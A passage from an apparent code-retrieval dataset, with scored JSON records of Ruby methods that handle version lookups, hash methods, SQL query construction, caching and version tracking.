selectors.collect do | selector |\n if selector[:tag] && selector[:latest]\n version = version_repository.find_by_pacticipant_name_and_latest_tag(selector[:pacticipant_name], selector[:tag])\n raise Error.new(\"No version of #{selector[:pacticipant_name]} found with tag #{selector[:tag]}\") unless version\n # validation in resource should ensure we always have a version\n {\n pacticipant_name: selector[:pacticipant_name],\n pacticipant_version_number: version.number\n }\n elsif selector[:latest]\n version = version_repository.find_latest_by_pacticpant_name(selector[:pacticipant_name])\n raise Error.new(\"No version of #{selector[:pacticipant_name]} found\") unless version\n {\n pacticipant_name: selector[:pacticipant_name],\n pacticipant_version_number: version.number\n }\n elsif selector[:tag]\n # validation in resource should ensure we always have at least one version\n versions = version_repository.find_by_pacticipant_name_and_tag(selector[:pacticipant_name], selector[:tag])\n raise Error.new(\"No version of #{selector[:pacticipant_name]} found with tag #{selector[:tag]}\") unless versions.any?\n versions.collect do | version |\n {\n pacticipant_name: selector[:pacticipant_name],\n pacticipant_version_number: version.number\n }\n end\n else\n selector.dup\n end\n end.flatten.compact.collect do | selector |\n add_ids(selector)\n end\n end", "title": "" }, { "docid": "2b3e9533e9eeae917392654bce504c9c", "score": "0.48191375", "text": "def construct_fragments_attributes(hash, record, path)\n frag_identifiers = []\n frag_attributes = hash.collect do |frag_header, frag_content|\n tag, identifier = frag_header.split\n frag_hash = {\n identifier: identifier,\n tag: tag\n }\n\n # tracking fragments that need removing later\n frag_identifiers << identifier\n\n # based on tag we need to cram content in proper place and proper format\n case tag\n when \"date\", \"datetime\"\n frag_hash[:datetime] = frag_content\n when \"checkbox\"\n frag_hash[:boolean] = frag_content\n when \"file\", \"files\"\n files, file_ids_destroy = files_content(record, identifier, path, frag_content)\n frag_hash[:files] = files\n frag_hash[:file_ids_destroy] = file_ids_destroy\n else\n frag_hash[:content] = frag_content\n end\n\n frag_hash\n end\n\n [frag_identifiers, frag_attributes]\n end", "title": "" }, { "docid": "fe810bc97a37ca9af77496860bea9274", "score": "0.481326", "text": "def option_type_and_value_version_ids(variant_id:)\n if status[:option_types_and_values]\n version_ids = status[:option_types_and_values].collect do |item|\n item.select {|key, value| key.match /_version_id$/} if item[:variant_id] == variant_id\n end.compact\n\n version_ids\n else\n []\n end\n end", "title": "" }, { "docid": "aec0c1cd9f3edaece7faee0eb0448ec8", "score": "0.48127627", "text": "def hash\n return @revision.hash if @revision\n return object_id\n end", "title": "" }, { "docid": "0925c5fdffd5db59c9129e6da3dfde40", "score": "0.48064187", "text": "def hash\n [searchable_id].hash\n end", "title": "" }, { "docid": "a39e81cbc445fcb25f10158abecdd5d4", "score": "0.48021674", "text": "def update_version( result ) \n self.id = result['id']\n self.rev = result['rev']\n end", "title": "" }, { "docid": "8f2ec686d74f95b32c2aec253aa2760c", "score": "0.47968483", "text": "def create_versioning_table\n logger.info \"Creating versioning table '_v_#{name}' in the audit schema\"\n db.query(\"CREATE TABLE #{versioning} LIKE #{watched}\")\n db.query(\"ALTER TABLE #{versioning} ADD `_row_version` BIGINT NOT NULL DEFAULT 0\")\n db.query(\"ALTER TABLE #{versioning} DROP PRIMARY KEY, ADD PRIMARY KEY (#{([primary_key] << '_row_version').flatten.join(',')})\")\n\n db.query(\"SHOW CREATE TABLE #{versioning}\").to_a[0]['Create Table'].scan(/UNIQUE KEY `([^`]+)`/).flatten.each do |idx|\n db.query(\"ALTER TABLE #{versioning} DROP INDEX `#{idx}`\")\n end\n end", "title": "" }, { "docid": "704f3c9269fabc29352dd91b212f1762", "score": "0.4794042", "text": "def sql opts = EMPTY_HASH\n opts = options.merge(opts)\n\n join_tables = BELONGS_TO.map{|x| x.to_s.pluralize} + [ ContentStatus.table_name ]\n join_tables.uniq!\n\n tables = join_tables.dup\n clauses = [ ]\n\n @model_class = Content::Version if self.latest || self.versions\n\n connection = model_class.connection\n\n t = :updater_users\n tables << \"#{User.table_name} AS #{t}\"\n join_tables << t\n\n t = :creator_users\n tables << \"#{User.table_name} AS #{t}\"\n join_tables << t\n\n unless (version_list_name = params[:version_list_name]).blank?\n @model_class = Content::Version\n tables << \n (t1 = VersionListName.table_name) << \n (t2 = VersionList.table_name) <<\n (t3 = VersionListContent.table_name)\n clauses << \n \"#{t1}.name = #{connection.quote(version_list_name)}\" <<\n \"#{t3}.version_list_id = #{t1}.version_list_id\"\n else\n version_list_name = nil\n end\n\n unless (version_list_id = params[:version_list_id]).blank?\n version_list_id = version_list_id.to_i\n @model_class = Content::Version\n tables <<\n (t3 = VersionListContent.table_name)\n clauses << \n \"#{t3}.version_list_id = #{connection.quote(version_list_id)}\"\n else\n version_list_id = nil\n end\n\n\n table_name = \n opts[:table_name] || \n model_class.table_name\n\n if version_list_name || version_list_id \n tables << \n (t3 = VersionListContent.table_name)\n clauses << \n \"#{t3}.content_version_id = contents.id\"\n end\n\n select_table = \"contents\"\n if self.latest || self.versions\n select_table = 'cv'\n end\n select_values = \"#{select_table}.*\"\n\n order_by = Content.order_by\n order_by = order_by.split('), (').join(\"),\\n (\") \n order_by.gsub!(/\\.id = /, \".id = #{select_table}.\")\n order_by << \",\\n version DESC\" if self.versions\n \n if opts[:count]\n select_values = \"COUNT(#{select_values})\"\n order_by = nil\n end\n\n\n ##################################################################\n # Generate SQL\n #\n\n sql = ''\n\n if self.latest || self.versions\n sql << \"SELECT #{select_values} FROM #{model_class.table_name} AS cv\"\n sql << \"\\nWHERE cv.id IN (\\n\"\n case \n when self.latest\n select_values = 'MAX(contents.id)'\n when self.versions\n select_values = 'contents.id'\n end\n end\n\n \n sql << <<\"END\"\nSELECT #{select_values}\nFROM #{table_name} AS contents, #{tables.uniq * ', '}, content_types\nWHERE\n #{join_tables.map{|x| \"(#{x}.id = contents.#{x.to_s.singularize}_id)\"} * \"\\nAND \"}\nAND (content_types.id = content_keys.content_type_id)\nEND\n\n # Join clauses:\n# pp opts\n clauses << opts[:conditions] unless opts[:conditions].blank?\n unless clauses.empty?\n sql << \"\\nAND \" << (clauses.map{| x | \"(#{x})\"} * \"\\nAND \")\n end\n\n # Search clauses:\n unless (where = sql_where_clauses(opts)).empty?\n sql << \"\\nAND \" << where\n end\n\n if self.latest || self.versions\n sql << \"\\nAND contents.content_id = cv.content_id\" \n sql << \"\\n)\"\n end\n\n # Ordering:\n if order_by\n sql << \"\\nORDER BY\\n \" << order_by\n end\n\n # Limit:\n if x = (opts[:limit])\n sql << \"\\nLIMIT #{x}\"\n end\n\n if opts[:dump_sql] # || true\n $stderr.puts \" params = #{params.inspect}\"\n $stderr.puts \" sql =\\n #{sql}\"\n # raise \"LKSDJFLKSJDF\"\n end\n\n sql\n end", "title": "" }, { "docid": "38e0ec7e0dad6bd520f085101561f3ae", "score": "0.4792798", "text": "def received_uniq_leaderbit_ids\n Rails.cache.fetch(\"#{__method__}/#{cache_key_with_version}\") do\n query = <<-SQL.squish\n SELECT \"leaderbit_logs\".\"leaderbit_id\" FROM \"leaderbit_logs\"\n WHERE \"leaderbit_logs\".\"user_id\" = #{id}\n UNION SELECT \"user_sent_emails\".\"resource_id\" FROM \"user_sent_emails\"\n WHERE \"user_sent_emails\".\"type\" = #{ActiveRecord::Base.connection.quote UserSentScheduledNewLeaderbit}\n AND \"user_sent_emails\".\"resource_type\" = #{ActiveRecord::Base.connection.quote Leaderbit}\n AND \"user_sent_emails\".\"user_id\" = #{id}\n SQL\n\n ActiveRecord::Base.connection.execute(query).values.flatten\n end\n end", "title": "" }, { "docid": "1321a6f098661cd33314e32ab18beef9", "score": "0.47642198", "text": "def identifier_hash(columns)\n h = {}\n columns.each{|k,v| h[Sequel.identifier(k)] = v}\n h\n end", "title": "" }, { "docid": "c577983341195a888776aa8979ee6fc4", "score": "0.47577187", "text": "def version_id\n return @version_id\n end", "title": "" }, { "docid": "2cbd9ded6ceddccb308336ccee504aa8", "score": "0.47534174", "text": "def versions\n JSON.parse(RestClient.get(\"#{VERSION_URL}/.json\", self.default_headers))[\"versions\"].collect { |v| v[\"id\"] }.uniq\n end", "title": "" }, { "docid": "a1daeb2dbc9cd3918aa9605ad0f0639b", "score": "0.47463426", "text": "def version\n Cleaner.extract_version @id\n end", "title": "" }, { "docid": "ee8f9682c56f53e9fc0a48c8f28f3911", "score": "0.4745157", "text": "def parse_file(version, path)\n queries_file = \"./#{version}-queries.txt\"\n File.open(path) do |file|\n File.open(queries_file, 'w') do |qfile|\n file.each_line do |line|\n data = /^[^\\s]+\\s+([^\\s]+)\\s+(?:Load\\s+)?\\((.+)ms\\)\\s+(.+)$/.match(line)\n next if data.nil?\n if data[1] == 'SQL'\n type, table = parse_sql(data[3])\n next if type.nil?\n @by_sql[table] ||= {}\n @by_sql[table][type] ||= {}\n @by_sql[table][type][version] ||= []\n @by_sql[table][type][version] << data[2].to_f\n else\n @by_model[data[1]] ||= {}\n @by_model[data[1]][version] ||= []\n @by_model[data[1]][version] << data[2].to_f\n end\n qfile.write(data[3]+\"\\n\") if ! /\\$/.match(data[3])\n end\n end\n end\n end", "title": "" }, { "docid": "fdb492059ba1d38e83163d38bfef955a", "score": "0.47433707", "text": "def version_inserted_rows\n if versioning_enabled\n logger.warn \"Inserting initial version for inserted rows in '#{name}'\"\n\n last_version = Time.now.to_i\n\n q_versioning = <<-EOF\n INSERT INTO #{versioning} \n SELECT #{fields.map(&:audit).join(', ')}, #{last_version} \n FROM #{audit} \n WHERE #{audit}.`_copied_at` IS NULL\n EOF\n\n q_audit_update = \"UPDATE #{audit} SET `_last_version`= #{last_version} WHERE `_copied_at` IS NULL\"\n\n db.query(q_versioning)\n db.query(q_audit_update)\n end\n end", "title": "" }, { "docid": "abb58a885dedbcc74ac57bc75c3120d0", "score": "0.47153813", "text": "def versions_dataset\n if versionable?\n internal_versions_dataset\n else\n self.class.where(:version_id => self.version_id).order(:version_number).reverse\n end\n end", "title": "" }, { "docid": "b6d588c6c556bc9f1c75ca3735381f98", "score": "0.47067314", "text": "def option_values_version_ids(variant_id:)\n if status[:option_types_and_values]\n status[:option_types_and_values].collect do |item|\n item[:option_value_version_id] if item[:variant_id] == variant_id\n end.compact\n else\n []\n end\n end", "title": "" }, { "docid": "b7819ca3d34e26b49bbd932a730e1a0a", "score": "0.4704219", "text": "def _extract_versions(pb_versioneds)\r\n\t\tversions = []\r\n\t\tfor versioned in pb_versioneds\r\n\t\t\tversions << [versioned.value, versioned.version]\r\n end\r\n\t\treturn _resolve_conflicts(versions)\r\n end", "title": "" }, { "docid": "ae4e1ab318c36238f44c6e25a054f8ff", "score": "0.47026113", "text": "def create_version_hash\n new_version = {}\n new_version['created'] = ''\n new_version['message'] = ''\n new_version['user'] = {}\n # user is #name, # address.\n new_version['user']['name'] = ''\n new_version['user']['address'] = ''\n new_version['state'] = {}\n new_version\n end", "title": "" }, { "docid": "8e7de131ca76fdf9b8dc5b484730aa6c", "score": "0.47000307", "text": "def get_ids_signature_versions(opts = {})\n data, _status_code, _headers = get_ids_signature_versions_with_http_info(opts)\n data\n end", "title": "" }, { "docid": "88c6479312652d2e3c086f64a2b2a8db", "score": "0.46973357", "text": "def vattr_hash(*syms) # :nodoc:\r\n syms.each do |sym|\r\n instance_eval <<EVAL, __FILE__, __LINE__ + 1\r\ndef #{sym}(version = nil)\r\n version = validate_version!(version)\r\n\r\n versions.sort.inject({}) { |hash, (current, mappable)|\r\n if mappable.try :has_key?, #{sym.inspect}\r\n hash.update mappable[#{sym.inspect}] if current <= version\r\n end\r\n\r\n hash\r\n }\r\nend\r\nEVAL\r\n end\r\n end", "title": "" }, { "docid": "7bb3056f35400efc1cc9a37f842a1521", "score": "0.46881136", "text": "def cache_version_data\n {}\n end", "title": "" }, { "docid": "d4c6e6df3511f640069f06c1eca2975d", "score": "0.46732953", "text": "def to_jaxb_json_hash\n _h = {}\n if !versions.nil?\n _ha = Array.new\n versions.each { | _item | _ha.push _item.to_jaxb_json_hash }\n _h['versions'] = _ha\n end\n return _h\n end", "title": "" }, { "docid": "243a68bf190758ed67a70964700a6c48", "score": "0.46721485", "text": "def map_to_hash_by_primary_key(result) \n hash = {}\n\n result.each do |record|\n hash[record[@primary_key]] = record\n end\n\n hash\n end", "title": "" }, { "docid": "c637af83505e382e345dd74f964ea55d", "score": "0.46575978", "text": "def id3_versions # returns Array of ID3 tag versions found\n a = Array.new\n a.push(@tagID3v1.version) if @tagID3v1\n a.push(@tagID3v2.version) if @tagID3v2\n return a\n end", "title": "" }, { "docid": "9d0dc12464f19383b0aff186b58dd3cd", "score": "0.4636552", "text": "def load_version(version)\n if version.is_a?(String)\n if version =~ /^\\d+$/\n version = version.to_i\n else\n version = Time.parse(version)\n end\n elsif version.is_a?(Date)\n Time.parse(version.to_s)\n end\n merged = serialize.tap do |hash|\n versions.select { |h| version.is_a?(Integer) ? h.version >= version : h.created_at > version }\n .sort_by { |h| h.version }.reverse\n .each { |h| hash.deep_merge!(h.changes) }\n end\n self.class.new(merged)\n end", "title": "" }, { "docid": "e425ee7bc0f56f074edb1eddec5204cc", "score": "0.46305108", "text": "def version_cache_key\n parts =\n if object.class == Class\n [object]\n else\n [object.class, object.id]\n end\n \n parts << version_name\n parts * ':'\n end", "title": "" }, { "docid": "153da2e1f278ea25863fde10d9d87e63", "score": "0.46294227", "text": "def product_property_and_property_version_ids(product_id:)\n if status[:product_properties]\n version_ids = status[:product_properties].collect do |item|\n item.select {|key, value| key.match /_version_id$/} if item[:product_id] == product_id\n end.compact\n\n version_ids\n else\n []\n end\n end", "title": "" }, { "docid": "8f848e71e0367ee662355def9a4ea390", "score": "0.46291336", "text": "def version_report\n stone_rpt = stone_version_report\n gem_rpt = gem_version_report\n data = { }\n (stone_rpt.keys + gem_rpt.keys).each do |k|\n g = stone_rpt[k] == gem_rpt[k] ? '' : gem_rpt[k]\n data[k] = [stone_rpt[k], g]\n end\n { :timestamp => Time.now.asctime,\n :headers => VERSION_HEADERS,\n :report => data }\n end", "title": "" }, { "docid": "851b247763f9b30d174146fde793d62f", "score": "0.46193728", "text": "def versions\n @page = Comatose::Page.find_is_snippet params[:id]\n @version_num = (params[:version] || @page.versions.length).to_i\n @version = @page.find_version(@version_num)\n end", "title": "" }, { "docid": "323cc702d6077bbf3b402f0033f4e947", "score": "0.46037212", "text": "def get_history_file_versions\n\t\ttag_pattern = self.release_tag_pattern\n\n\t\treturn IO.readlines( self.history_file ).grep( tag_pattern ).map do |line|\n\t\t\tline[ /^(?:h\\d\\.|#+|=+)\\s+(#{tag_pattern})\\s+/, 1 ]\n\t\tend.compact\n\tend", "title": "" }, { "docid": "f5afcfbdcb83a9bb7c1e2f08f7e1c78f", "score": "0.4594418", "text": "def hash\n value_id.hash\n end", "title": "" }, { "docid": "8d683b1f853b17fb61f98190838fd3a3", "score": "0.45871392", "text": "def to_hash\n Hash[sort_tuples(section_tuples)]\n end", "title": "" }, { "docid": "cb100bfd098ef3b97f985ff14595557d", "score": "0.45854518", "text": "def extract_db_content(version)\n # Only compare tables with meaningful data. Tables\n # containing temporary state, e.g., db_mutex, are not relevant here.\n # TODO: re-add other tables to check.\n include_tables = %w[master_accounts accounts positions partners partner_users]\n\n client = startup\n\n # db_columns is a temporary structure - it holds all columns for db, by table.\n # It will be merged with rows into a single data structure to facilitate\n # comparison between the 2 DBs.\n db_columns = build_columns_hash(client)\n\n # build the structure which will be used for table comparisons.\n db_columns_and_rows = build_columns_and_rows_hash(db_columns, client, include_tables)\n\n store = initialize_store('mg_db.' + version)\n persist_data(db_columns_and_rows, store)\nend", "title": "" }, { "docid": "85601ac2416d5d39c2217744dd640d72", "score": "0.45797572", "text": "def hash\n id.hash\n end", "title": "" }, { "docid": "85601ac2416d5d39c2217744dd640d72", "score": "0.45792967", "text": "def hash\n id.hash\n end", "title": "" }, { "docid": "85601ac2416d5d39c2217744dd640d72", "score": "0.45792967", "text": "def hash\n id.hash\n end", "title": "" }, { "docid": "85601ac2416d5d39c2217744dd640d72", "score": "0.45792967", "text": "def hash\n id.hash\n end", "title": "" }, { "docid": "85601ac2416d5d39c2217744dd640d72", "score": "0.45792967", "text": "def hash\n id.hash\n end", "title": "" }, { "docid": "85601ac2416d5d39c2217744dd640d72", "score": "0.45792967", "text": "def hash\n id.hash\n end", "title": "" }, { "docid": "85601ac2416d5d39c2217744dd640d72", "score": "0.45792967", "text": "def hash\n id.hash\n end", "title": "" }, { "docid": "85601ac2416d5d39c2217744dd640d72", "score": "0.45792967", "text": "def hash\n id.hash\n end", "title": "" }, { "docid": "85601ac2416d5d39c2217744dd640d72", "score": "0.45792967", "text": "def hash\n id.hash\n end", "title": "" }, { "docid": "85601ac2416d5d39c2217744dd640d72", "score": "0.45792967", "text": "def hash\n id.hash\n end", "title": "" }, { "docid": "aa4c9feb09718302ef394ad7d28de1e5", "score": "0.45754853", "text": "def version_id(version_num)\n self[\"_attachments\"].keys.select {|a| a.match /^rev-#{version_num}-.*$/}.first if self[\"_attachments\"]\n end", "title": "" }, { "docid": "3ccdff78581aeee2e57456e7de3b7e5e", "score": "0.4558199", "text": "def installed_identities\n available = request_valid_identities\n ids = {}\n available.split(\"\\n\").each do |current|\n begin\n sha1 = current.match(/[a-zA-Z0-9]{40}/).to_s\n name = current.match(/.*\\\"(.*)\\\"/)[1]\n ids[sha1] = name\n rescue\n nil\n end # the last line does not match\n end\n\n ids\n end", "title": "" }, { "docid": "29034458b8a8cd0a9bf4d5f61423da4b", "score": "0.4557414", "text": "def version(number)\n snapshot = Version.find(:model_classname => _classname, :instance_id => neo_id, :number => number) {|query| query.first.nil? ? nil : query.first.end_node.wrapper}\n snapshot.props.each_pair{|k,v| snapshot.assign(k,Neo4j::TypeConverters.to_ruby(self.class, k, v))} if !snapshot.nil?\n snapshot\n end", "title": "" }, { "docid": "98b97e891140fba37effe050fdd95bb1", "score": "0.45553258", "text": "def versions\n registered_versions.keys\n end", "title": "" }, { "docid": "0d87908143b55e6fd39f9297d03968cf", "score": "0.45552617", "text": "def get_id_checksum_hash(locale)\n #Gather all ids to retrieve from the db\n ids = Array.new\n Dir.glob(\"*/*\") do | file_name |\n if (file_name.end_with? \"deliverable_metadata.json\")\n ids.push(get_deliverable_metadata_id(locale, Settings[:CURRENT_VERSION], file_name.split(\"/\")[0])) \n elsif (file_name.end_with? \".toc\")\n ids.push(get_toc_id(locale, Settings[:CURRENT_VERSION], file_name.split(\"/\")[0]))\n elsif (file_name.end_with?(\".htm\", \".html\"))\n ids.push(get_topic_or_image_id(locale, Settings[:CURRENT_VERSION], file_name))\n end\n end\n \n #get the id,hash results \n rows = @db.view(\"content_views/checksum_by_id\", :keys => ids)['rows']\n id_checksum_hash = Hash.new(rows.size)\n \n #store it in a hash\n rows.each { |result|\n id_checksum_hash[result[\"key\"]] = result[\"value\"]\n }\n return id_checksum_hash\n end", "title": "" }, { "docid": "ad273659ccf216191c92894371cad9dc", "score": "0.4547935", "text": "def build_vuln_cache()\n r = Vulnerability.select(:id,:cve).pluck(:id, :cve)\n return r.inject({}) { |map, (id, cve)| map[cve] = id; map }\n end", "title": "" }, { "docid": "03e7bf9fc26bd8e4884cc73c932ea9d7", "score": "0.45440286", "text": "def version_flagged_rows\n if versioning_enabled\n\n logger.debug \"Inserting new row versions for flagged rows\"\n\n last_version = Time.now.to_i\n\n q_versioning = <<-EOF\n INSERT INTO #{versioning} \n SELECT #{fields.map(&:audit).join(', ')}, #{last_version} \n FROM #{audit} \n WHERE #{audit}.`_has_delta` = 1\n EOF\n\n q_audit_update = \"UPDATE #{audit} SET `_last_version` = #{last_version} WHERE `_has_delta` = 1\"\n\n db.query(q_versioning)\n db.query(q_audit_update)\n end\n end", "title": "" }, { "docid": "91064a9ff23c5a87b0f72132ed264a0e", "score": "0.45433798", "text": "def hash\r\n id.hash\r\n end", "title": "" }, { "docid": "8f64127d0e4884b68dbaffc02c93f6d9", "score": "0.4542568", "text": "def hash\n __record_id.hash\n end", "title": "" }, { "docid": "0a0d3f748918e1ce44cbf436734ec0d8", "score": "0.45400316", "text": "def product_properties_version_ids(product_id:)\n if status[:product_properties]\n status[:product_properties].collect do |item|\n item[:product_property_version_id] if item[:product_id] == product_id\n end.compact\n else\n []\n end\n end", "title": "" }, { "docid": "224f5ce9247815f07c34df1384a9a395", "score": "0.4538399", "text": "def postgres_authed_fingerprint\n resp = postgres_query(\"select version()\",false)\n ver = resp[:complete].rows[0][0]\n return {:auth => ver}\n end", "title": "" }, { "docid": "007a7471553652c67a33a8d828b85fdb", "score": "0.45311534", "text": "def hash\n @vbits.hash\n end", "title": "" }, { "docid": "03406ad22e65b1f70bb8dafd1b0ee641", "score": "0.45302835", "text": "def hash\n [schema, name].hash\n end", "title": "" }, { "docid": "138fd3bba016761ae54867bf3e63325b", "score": "0.45301276", "text": "def hash\n id.hash\n end", "title": "" }, { "docid": "138fd3bba016761ae54867bf3e63325b", "score": "0.45301276", "text": "def hash\n id.hash\n end", "title": "" }, { "docid": "8f0ea47317e73fd889be3fef5ad3f54a", "score": "0.45300728", "text": "def version_history\n res = []\n event = 'create'\n author = user\n versions.each do |version|\n # some old entries still include create actions\n # TODO remove next line\n next if version.event == 'create'\n res << {\n obj: version.reify,\n event: event,\n author: author\n }\n event = version.event\n author = User.find_by_id(version.whodunnit.to_i)\n end\n res << {\n obj: self,\n event: event,\n author: author\n }\n end", "title": "" }, { "docid": "b8d563f012b22dac109e2e29412642b7", "score": "0.45282245", "text": "def versioned(version)\n version_named(version.to_sym)\n end", "title": "" }, { "docid": "1c08c2f2607926bbf702d2cc6cbfa38a", "score": "0.45281774", "text": "def properties_version_ids(product_id:)\n if status[:product_properties]\n status[:product_properties].collect do |item|\n item[:property_version_id] if item[:product_id] == product_id\n end.compact\n else\n []\n end\n end", "title": "" }, { "docid": "bd7abd17f5e304ad09afaad455780f66", "score": "0.45189142", "text": "def hash\n @id.hash\n end", "title": "" }, { "docid": "6d637df7319788c1a989edb85f917c64", "score": "0.45182982", "text": "def hash\n return @id.hash\n end", "title": "" }, { "docid": "3a336e393edb751502253fb145e28f8b", "score": "0.45168105", "text": "def version_number(version_id)\n version_id.gsub(VERSION_REGEX, '\\1').to_i\n end", "title": "" }, { "docid": "4892ac47f86d9384f3b4b28648478f0b", "score": "0.45065904", "text": "def current_version_key\n \"#{::Album.hash_schema_version}.#{current_versions.version(self.album_type)}\"\n end", "title": "" }, { "docid": "75c4a1ec9bea046ee93ed1150f17d2d8", "score": "0.45013946", "text": "def latest_verifications_for_consumer_version_tags(consumer_ids, consumer_version_tag_names)\n latest_ids_for_cv_tags = latest_verification_ids_for_consumer_version_tags(consumer_ids, consumer_version_tag_names)\n join_cols = {\n Sequel[:verifications][:id] => Sequel[:t2][:latest_verification_id]\n }\n select_all_qualified\n .select_append(Sequel[:t2][:consumer_version_tag_name])\n .where(Sequel[:verifications][:consumer_id] => consumer_ids)\n .join(latest_ids_for_cv_tags, join_cols, { table_alias: :t2 })\n end", "title": "" }, { "docid": "ae62070fab967bac16fe28a8ddb59b00", "score": "0.44877347", "text": "def hash\n\t\t[@id].hash\n\tend", "title": "" }, { "docid": "0e6cbe14f0a55a79b5fbbde8dd03ff6d", "score": "0.4487326", "text": "def resultset_to_hash(resultset)\n meta = resultset.meta_data\n rows = []\n\n while resultset.next\n row = {}\n\n (1..meta.column_count).each do |i|\n name = meta.column_name i\n row[name] = case meta.column_type(i)\n when -6, -5, 5, 4\n # TINYINT, BIGINT, INTEGER\n resultset.get_int(i).to_i\n when 41\n # Date\n resultset.get_date(i)\n when 92\n # Time\n resultset.get_time(i).to_i\n when 93\n # Timestamp\n resultset.get_timestamp(i)\n when 2, 3, 6\n # NUMERIC, DECIMAL, FLOAT\n case meta.scale(i)\n when 0\n resultset.get_long(i).to_i\n else\n BigDecimal.new(resultset.get_string(i).to_s)\n end\n when 1, -15, -9, 12\n # CHAR, NCHAR, NVARCHAR, VARCHAR\n resultset.get_string(i).to_s\n else\n resultset.get_string(i).to_s\n end\n end\n\n rows << row\n end\n rows\nend", "title": "" }, { "docid": "8a8e29458b7f444ae98a3ebd4ec19fed", "score": "0.44843376", "text": "def lang_version_spec\n @lang_version_spec_cache ||= {}\n @lang_version_spec_cache[@item.path] ||= begin\n lang_versions = Ably::DOCUMENTATION_LANGUAGES.reject do |lang_id, lang|\n lang[:ignore_from_language_selector]\n end.map do |lang_id, lang|\n [lang_id, supported_versions_for_language(@item.path, lang_id)]\n end.each_with_object({}) do |(lang_id, version), hash|\n hash[lang_id] = {\n versions: version,\n most_recent_path: path_for_version(version.first, @item.path)\n }\n end\n latest_version_and_path = page_versions_with_paths.first\n js = [\n \"window.AblyVersionInfo={\",\n \"'langVersions':#{JSON.dump(lang_versions)},\",\n \"'latestForPage':{'version': '#{latest_version_and_path.first}', 'path': '#{latest_version_and_path.last}'},\",\n \"'page':'#{version_from_relative_url(@item.path, current_default: true)}'\",\n \"}\"\n ]\n %{<script type=\"text/javascript\">#{js.join('')}</script>}\n end\n end", "title": "" }, { "docid": "ae07946be51bdf152923f95ed61d3bca", "score": "0.44837907", "text": "def list_versions_for(path)\n @list_versions_for_cache ||= {}\n @list_versions_for_cache[path] ||= begin\n _, root_folder, relative_path = split_relative_url(non_versioned_path(path))\n possible_versions = [current_version_for_folder(root_folder)] + Dir.glob(\"#{content_path}/#{root_folder}/versions/v*\").map do |path|\n version_from_relative_url(path[content_path.length..-1])\n end\n\n possible_versions.select do |version|\n version_exists_for_path?(version, path)\n end.compact.sort_by do |version|\n major_minor(version)\n end.reverse\n end\n end", "title": "" }, { "docid": "4d571942ba20b58b43ab285c521f220d", "score": "0.4483759", "text": "def get_revisions_for(model_file)\n versions = model_file.versions\n dropbox_revisions = dropbox_client.revisions(model_file.path)\n\n dropbox_revisions.map do |revision|\n version = versions.find_by_revision_number(revision[\"rev\"])\n { id: version ? version.id : revision[\"rev\"],\n modified: version ? version.revision_date : revision[\"modified\"],\n version: version,\n details: version ? version.details : \"\"\n }\n end\n\n end", "title": "" } ]
a9b4f02449cdd1304d378a0fc96f7a1d
Symbol all keys in a hash, as well as keys from embedded hashes.
[ { "docid": "4847c317d6a16eadeea67e5dac1a10f4", "score": "0.0", "text": "def recursive_symbolize(obj)\n obj.reduce({}) do |memo, (k, v)|\n if v.is_a? Hash\n memo[k.to_sym] = recursive_symbolize(v)\n else\n memo[k.to_sym] = openssl_opt_from_string(v)\n end\n memo\n end\n end", "title": "" } ]
[ { "docid": "f491d8a8bfe37813a099416c32fde025", "score": "0.78621775", "text": "def symbolize_hash_keys(hash); end", "title": "" }, { "docid": "f8d4c6a1a9ba68db200f153aaed26eb7", "score": "0.74004304", "text": "def symbolize_keys!(hash)\n new_hash = hash.inject({}){ |memo, (k, v)|\n memo[k.to_sym] = v\n if v.class.eql? ::Hash\n memo[k.to_sym] = symbolize_keys! v\n elsif v.class.eql? ::Array\n memo[k.to_sym] = symbolize_keys_of_hashs! v\n end\n memo\n }\n hash.replace new_hash\n end", "title": "" }, { "docid": "9902898da6af550d04a337484a995422", "score": "0.72507036", "text": "def symbolize_keys!(hash)\n map_keys!(hash, Transproc(:to_symbol).fn)\n end", "title": "" }, { "docid": "9051142f5daaf8326b62e1f63445b944", "score": "0.7237367", "text": "def symbolize_keys(hash)\n hash.inject({}) { |memo, (k, v)| memo[k.to_sym] = v; memo }\n end", "title": "" }, { "docid": "11f7e88a10c1d00c1ea6574b1a7335b6", "score": "0.72001594", "text": "def symbolize_hash(hash)\n HashKeys.deep_symbolize_keys(hash)\n end", "title": "" }, { "docid": "3f2ebf2509966d5c4defa29884232954", "score": "0.7178007", "text": "def symbolify_keys( hash )\n\t\t\tnewhash = {}\n\n\t\t\thash.each do |key,val|\n\t\t\t\tkeysym = key.to_s.dup.untaint.to_sym\n\n\t\t\t\tif val.is_a?( Hash )\n\t\t\t\t\tnewhash[ keysym ] = symbolify_keys( val )\n\t\t\t\telse\n\t\t\t\t\tnewhash[ keysym ] = val\n\t\t\t\tend\n\t\t\tend\n\n\t\t\treturn newhash\n\t\tend", "title": "" }, { "docid": "3f2ebf2509966d5c4defa29884232954", "score": "0.7178007", "text": "def symbolify_keys( hash )\n\t\t\tnewhash = {}\n\n\t\t\thash.each do |key,val|\n\t\t\t\tkeysym = key.to_s.dup.untaint.to_sym\n\n\t\t\t\tif val.is_a?( Hash )\n\t\t\t\t\tnewhash[ keysym ] = symbolify_keys( val )\n\t\t\t\telse\n\t\t\t\t\tnewhash[ keysym ] = val\n\t\t\t\tend\n\t\t\tend\n\n\t\t\treturn newhash\n\t\tend", "title": "" }, { "docid": "3f2ebf2509966d5c4defa29884232954", "score": "0.7178007", "text": "def symbolify_keys( hash )\n\t\t\tnewhash = {}\n\n\t\t\thash.each do |key,val|\n\t\t\t\tkeysym = key.to_s.dup.untaint.to_sym\n\n\t\t\t\tif val.is_a?( Hash )\n\t\t\t\t\tnewhash[ keysym ] = symbolify_keys( val )\n\t\t\t\telse\n\t\t\t\t\tnewhash[ keysym ] = val\n\t\t\t\tend\n\t\t\tend\n\n\t\t\treturn newhash\n\t\tend", "title": "" }, { "docid": "3f2ebf2509966d5c4defa29884232954", "score": "0.7178007", "text": "def symbolify_keys( hash )\n\t\t\tnewhash = {}\n\n\t\t\thash.each do |key,val|\n\t\t\t\tkeysym = key.to_s.dup.untaint.to_sym\n\n\t\t\t\tif val.is_a?( Hash )\n\t\t\t\t\tnewhash[ keysym ] = symbolify_keys( val )\n\t\t\t\telse\n\t\t\t\t\tnewhash[ keysym ] = val\n\t\t\t\tend\n\t\t\tend\n\n\t\t\treturn newhash\n\t\tend", "title": "" }, { "docid": "38824212802eebfaaeb0133fa7414983", "score": "0.7117146", "text": "def keys_to_symbols(hash)\n\t\thash.keys.inject({}) do |hsh, key|\n\t\t\thsh[key.to_sym] = hash[key]\n\t\t\thsh\n\t\tend\n\tend", "title": "" }, { "docid": 